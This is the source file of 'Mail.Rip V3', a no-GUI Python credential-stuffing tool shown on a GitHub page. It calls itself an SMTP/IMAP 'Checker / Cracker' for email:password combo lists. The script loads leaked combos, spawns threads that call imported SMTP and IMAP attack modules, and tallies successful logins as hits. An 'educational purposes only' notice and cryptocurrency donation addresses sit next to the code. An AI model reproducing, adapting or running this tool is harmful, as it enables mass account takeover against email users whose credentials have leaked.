-
Notifications
You must be signed in to change notification settings - Fork 32
/
MailRipV3_NOGUI.py
298 lines (271 loc) · 9.32 KB
/
MailRipV3_NOGUI.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
#!/usr/local/opt/[email protected]/bin/python3
# -*- coding: utf-8 -*-
__author__ = 'DrPython3'
__date__ = '2021-12-06'
__version__ = 'BETA(1.2)'
__contact__ = 'https://github.com/DrPython3'
'''
__ __ _ _ ___ _ ____
| \/ |__ _(_) | | _ (_)_ __ __ _|__ /
| |\/| / _` | | |_| / | '_ \ \ V /|_ \\
|_| |_\__,_|_|_(_)_|_\_| .__/ \_/|___/
|_|
----------------------------------------
*** LEGAL NOTICES ***
Mail.Rip V3 has been created for educational purposes only.
It shall not be used for any kind of illegal activity nor
law enforcement at any time. This applies to all cases of
usage, no matter whether the code as a whole or just parts
of it are being used.
*** SHORT INFO ***
SMTP and IMAP Checker / Cracker for Email:Pass Combolists.
Further Information and Help at:
https://github.com/DrPython3/MailRipV3
'''
# [IMPORTS]
# ---------
import sys
import threading
import inc_attackimap as ic
import inc_attacksmtp as sc
from queue import Queue
from time import sleep
from inc_comboloader import comboloader
from inc_etc import clean
from inc_etc import get_combofile_nogui
# [VARIOUS]
# ---------
main_logo = '''
__ __ _ _ ___ _ ____
| \/ |__ _(_) | | _ (_)_ __ __ _|__ /
| |\/| / _` | | |_| / | '_ \ \ V /|_ \\
|_| |_\__,_|_|_(_)_|_\_| .__/ \_/|___/
|_|
**********************
*** NO GUI VERSION ***
**********************
Tip or donate for faster development:
(BTC) 1KFMr9bJJh4MctKAy1kzpaqy6m5b3V2VRU
(LTC) LX1v9NQfMAvLJGWFhJSHTBWygeg8MZUJbK
'''
# global variables and stuff:
targets_total = int(0)
targets_left = int(0)
hits = int(0)
fails = int(0)
checker_queue = Queue()
# [FUNCTIONS]
# -----------
def checker_thread(checker_type, default_timeout, default_email):
'''
Function for a single thread which performs the main checking process.
:param str checker_type: smtp or imap
:param float default_timeout: timeout for server connection
:param str default_email: user's email for test messages (SMTP only)
:return: None
'''
# set variables:
global targets_left
global hits
global fails
# start thread for chosen checker type:
while True:
target = str(checker_queue.get())
result = False
try:
if checker_type == 'smtp':
result = sc.smtpchecker(
float(default_timeout),
str(default_email),
str(f'{target}')
)
elif checker_type == 'imap':
result = ic.imapchecker(
float(default_timeout),
str(f'{target}')
)
except:
pass
# update stats:
if result == True:
hits += 1
else:
fails += 1
targets_left -= 1
checker_queue.task_done()
# cooldown for checker thread:
sleep(3.0)
return None
def checker(checker_type, default_threads, default_timeout, default_email, combofile):
'''
Function to control the import of combos, to start threads etc.
:param str checker_type: smtp or imap
:param int default_threads: amount of threads to use
:param float default_timeout: timeout for server-connections
:param str default_email: users's email for test-messages (SMTP only)
:param str combofile: textfile with combos to import
:return: True (no errors occurred), False (errors occurred)
'''
# set variables:
global targets_total
global targets_left
combos_available = False
try:
# load combos:
print('Step#1: Loading combos from file ...')
try:
combos = comboloader(combofile)
except:
combos = []
targets_total = len(combos)
targets_left = targets_total
if targets_total > 0:
combos_available = True
print(f'Done! Amount of combos loaded: {str(targets_total)}\n\n')
else:
print('Done! No combos loaded.\n\n')
# start checker threads:
if combos_available == True:
print(f'Step#2: Starting threads for {checker_type} checker ...')
for _ in range(default_threads):
single_thread = threading.Thread(
target=checker_thread,
args=(str(f'{checker_type}'),default_timeout,default_email),
daemon=True
)
single_thread.start()
# fill queue with combos:
for target in combos:
checker_queue.put(target)
print('Done! Checker started and running - see stats in window title.\n\n')
# checker stats in window title:
while targets_left > 0:
try:
sleep(1.0)
titlestats = str(f'LEFT: {str(targets_left)} # HITS: {str(hits)} # FAILS: {str(fails)}')
sys.stdout.write('\33]0;' + titlestats + '\a')
sys.stdout.flush()
except:
pass
# finish checker:
print('Step#3: Finishing checking ...')
checker_queue.join()
print('Done!\n\n')
sleep(3.0)
else:
print('Press [ENTER] and try again, please!')
input()
clean()
return True
except:
clean()
return False
def main():
'''
Simple function for main menu and checker setup.
:return: None
'''
# set default values for needed variables:
default_timeout = float(3.0)
default_threads = int(5)
default_email = str('[email protected]')
combofile = str('combos.txt')
checker_type = str('smtp')
clean()
print(main_logo + '\n\n')
# get values for variables from user input:
try:
# type of checking (SMTP / IMAP):
checker_choice = int(
input('Checker Type [1 = smtp or 2 = imap]: ')
)
if checker_choice == 2:
checker_type = 'imap'
if checker_choice == 1:
# (SMTP only) user's email address for testmailer:
default_email = str(
input('Your Email [e.g. [email protected]]: ')
)
# threads to use:
default_threads = int(
input('Checker Threads [e.g. 1]: ')
)
# default timeout for connections:
default_timeout = float(
input('Checker Timeout in Seconds [e.g. 3]: ')
)
# start open-file-dialog using tkinter:
combofile = get_combofile_nogui()
# ask for starting the checker:
start_now = str(
input('\n\nStart Checker = [y] or Exit = [n]: ')
)
# start checker for option "yes":
if start_now in ['y', 'Y', 'yes', 'Yes']:
clean()
print(
'\n\n'
+ f'Mail.Rip V3 - running ({checker_type}) checker:\n'
+ 38*'-' + '\n\n'
+ f'user email: {default_email}\n'
+ f'threads: {str(default_threads)}\n'
+ f'timeout: {str(default_timeout)}\n\n'
+ 38*'-' + '\n'
)
print(
'Tip or donate for faster development:\n\n'
+ ' (BTC) 1KFMr9bJJh4MctKAy1kzpaqy6m5b3V2VRU\n'
+ ' (LTC) LX1v9NQfMAvLJGWFhJSHTBWygeg8MZUJbK\n\n'
)
print('Please be patient and wait while all combos are being checked ...\n\n')
checker_result = checker(
str(checker_type),
int(default_threads),
float(default_timeout),
str(default_email),
str(combofile)
)
# show summary and quit:
if checker_result == True:
print(
'\n\n'
+ f'Mail.Rip V3 - ({checker_type}) checker results:\n'
+ 38*'-' + '\n\n'
+ f'combos: {str(targets_total)}\n'
+ f'hits: {str(hits)}\n'
+ f'fails: {str(fails)}\n\n'
+ 38*'-' + '\n'
)
print(
'Tip or donate for faster development:\n\n'
+ ' (BTC) 1KFMr9bJJh4MctKAy1kzpaqy6m5b3V2VRU\n'
+ ' (LTC) LX1v9NQfMAvLJGWFhJSHTBWygeg8MZUJbK\n\n\n'
)
print('Press [ENTER] to exit ...')
input()
else:
clean()
print(
'\n\n\n'
+ '*** SORRY ***\n'
+ 'Errors occurred while checking your combos! Running the checker failed.\n'
+ 'Press [ENTER] to exit ...'
)
input()
clean()
# exit for option "no":
elif start_now in ['n', 'N', 'no', 'No']:
clean()
else:
clean()
print('\n\n*** SORRY ***\nSomething went wrong. Press [ENTER] and try again, please!\n')
input()
except:
clean()
print('\n\n*** SORRY ***\nAn error occurred. Press [ENTER] and try again, please!\n')
input()
sys.exit()
# [MAIN]
# ------
main()
# DrPython3 (C) 2021 @ GitHub.com